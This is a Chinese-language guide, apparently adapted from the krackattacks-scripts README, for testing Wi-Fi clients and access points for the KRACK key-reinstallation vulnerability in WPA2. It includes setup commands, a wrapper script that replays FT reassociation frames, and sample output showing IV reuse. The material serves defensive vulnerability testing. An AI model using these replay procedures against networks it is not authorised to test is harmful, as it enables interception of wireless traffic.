
vanhoefm
用于测试客户端或接入点(AP)是否受到针对WPA2的KRACK攻击的影响。
我们的脚本在Kali Linux上进行了测试。要在Kali上安装所需的依赖项:
sudo apt update
sudo apt install libnl-3-dev libnl-genl-3-dev pkg-config libssl-dev net-tools git sysfsutils virtualenv然后禁用硬件加密:
cd krackattack
sudo ./disable-hwcrypto.sh如果需要的话,以后可以使用脚本sudo ./reenable-hwcrypto.sh重新启用硬件加密。建议在禁用硬件加密后重新启动。我们用Intel双频无线-AC 7260和TP-Link TL-WN722N v1在Kali Linux上测试了我们的脚本。
现在编译我们修改后的hostapd
cd krackattack
./build.sh最后,为了保证你使用的是兼容的python库,创建一个virtualenv,其依赖关系列在krackattack/requirements.txt
cd krackattack
./pysetup.sh每次在使用脚本之前,你必须在网络管理器中禁用Wi-Fi再执行
sudo rfkill unblock wifi
cd krackattack
sudo su
source venv/bin/activate做完这些后,只要不关闭终端,就可以多次执行脚本。
测试客户端
首先修改hostapd/hostapd.conf,并编辑interface=行,指定用于执行测试的Wi-Fi接口。注意,对于所有的测试,一旦脚本运行,必须让被测试的设备使用密码abcdefgh连接到SSID testnetwork。你可以通过修改hostapd/hostapd.conf来改变AP的设置。在所有的测试中,客户端必须在连接到Wi-Fi网络后使用DHCP获取IP。这是因为有些测试是在客户端使用DHCP请求IP后才开始的。
现在你应该运行位于krackattacks/目录下的以下测试:
一些补充说明
测试接入点:检测脆弱的FT握手(802.11r)
1.创建一个可以用于连接网络的wpa_supplicant配置文件。一个基本的例子是
ctrl_interface=/var/run/wpa_supplicant
network={
ssid="testnet"
key_mgmt=FT-PSK
psk="password"
}2.注意使用 "FT-PSK"。将其保存为network.conf或类似的文件。更多信息请参见wpa_supplicant.conf。
尝试使用你的平台的wpa_supplicant连接到网络。这可能需要一个命令,如
sudo wpa_supplicant -D nl80211 -i wlan0 -c network.conf.如果失败,要么是AP不支持FT,要么是你在步骤1中提供了错误的网络配置选项。请注意,如果AP不支持FT,则不受此漏洞影响。
3.使用这个脚本作为之前wpa_supplicant命令的包装:
sudo ./krack-ft-test.py wpa_supplicant -D nl80211 -i wlan0 -c network.这将使用提供的参数执行wpa_supplicant命令,并将添加一个虚拟的监控接口来执行攻击测试。
4.使用wpa_cli漫游到同一网络的不同AP
例如:
sudo wpa_cli -i wlan0
> status
bssid=c4:e9:84:db:fb:7b
ssid=testnet
...
> scan_results
bssid / frequency / signal level / flags / ssid
c4:e9:84:db:fb:7b 2412 -21 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
c4:e9:84:1d:a5:bc 2412 -31 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
...
> roam c4:e9:84:1d:a5:bc
...在这个例子中,我们连接到testnet的AP c4:e9:84:db:fb:7b(见状态命令)。scan_results命令显示这个网络还有第二个AP,MAC为c4:e9:84:1d:a5:bc。我们就漫游到这第二个AP。
5.在AP和客户端之间产生流量比如说
sudo arping -I wlan0 192.168.1.106.现在看看./krack-ft-test.py的输出,看看AP是否有漏洞
首先它应该说 "检测到FT重联帧"。然后它会开始重放这个帧来尝试攻击。
脚本显示了AP在发送数据帧时使用了哪些IV(=数据包号)
检测到消息IV重用(IV=X,seq=Y)。AP是脆弱的!意味着我们确认它是脆弱的。
脆弱AP的输出示例
[15:59:24] Replaying Reassociation Request
[15:59:25] AP transmitted data using IV=1 (seq=0)
[15:59:25] Replaying Reassociation Request
[15:59:26] AP transmitted data using IV=1 (seq=0)
[15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable!打了补丁的AP的输出示例(注意,IV永远不会被重用)
[16:00:49] Replaying Reassociation Request
[16:00:49] AP transmitted data using IV=1 (seq=0)
[16:00:50] AP transmitted data using IV=2 (seq=1)
[16:00:50] Replaying Reassociation Request
[16:00:51] AP transmitted data using IV=3 (seq=2)
[16:00:51] Replaying Reassociation Request
[16:00:52] AP transmitted data using IV=4 (seq=3)项目地址:
https://github.com/vanhoefm/krackattacks-scripts